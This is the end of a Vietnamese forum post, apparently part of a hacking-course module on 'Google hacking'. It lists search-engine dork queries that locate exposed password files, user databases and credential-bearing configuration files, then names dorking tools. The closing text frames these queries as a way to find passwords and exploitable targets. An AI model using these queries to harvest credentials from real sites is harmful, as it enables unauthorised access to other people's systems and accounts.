• filetype:sql ("passwd values ****" | "password values ****" | "pass values ****" )
• intitle:index.of trillian.ini
• eggdrop filetype:user user
• filetype:conf slapd.conf
• inurl:"wvdial.conf" intext:"password"
• ext:ini eudora.ini
• filetype:mdb inurl:users.mdb
• “Index of /admin”
• “Index of /password”
• Index of /” +passwd
• inurl:passwd filetype:txt
• administrators.pwd.index
• “Index of /” +password.txt
• intitle:”index of” master.passwd
• intitle:”index of” pwd.db
-Trên đây là 1 vài từ khóa trong số rất rất nhiều từ khóa,tùy vào sự tư duy của các bạn để kiếm password nha .Chỉ cần các bạn biết kết hợp prefix intitle,inurl,filetype,intext và 1 chút suy luận của các bạn nữa thì sẽ OK.
GOOGLE HACKING TOOLS

Google Hacking Database
SiteDigger
Google Hack
Google Hack Honeypot
Google Protocol
Goolag

-Module 04 :Google Hacking kết thúc tại đây.Qua nội dung trên giúp ta biết cách tìm kiếm tìm kiếm dc những exploit và từ đó có thể khai thác được.Hay có thể tìm password .Nên tập tư duy trong việc tìm kiếm,đừng nên sử dụng nhiều từ khóa giống như trên,những từ khóa ở trên chỉ là 1 trong số ít những từ khóa mà thui.
admin
admin
Thiếu Úy III
Thiếu Úy III

Tổng số bài gửi : 627
Diem : 6548
Thank : 4
Join date : 24/03/2010
Đến từ : Bỉm Sơn - Thanh hóa

https://itprofes.forumvi.com

Về Đầu Trang Go down

Về Đầu Trang

- Similar topics

 
Permissions in this forum:
Bạn không có quyền trả lời bài viết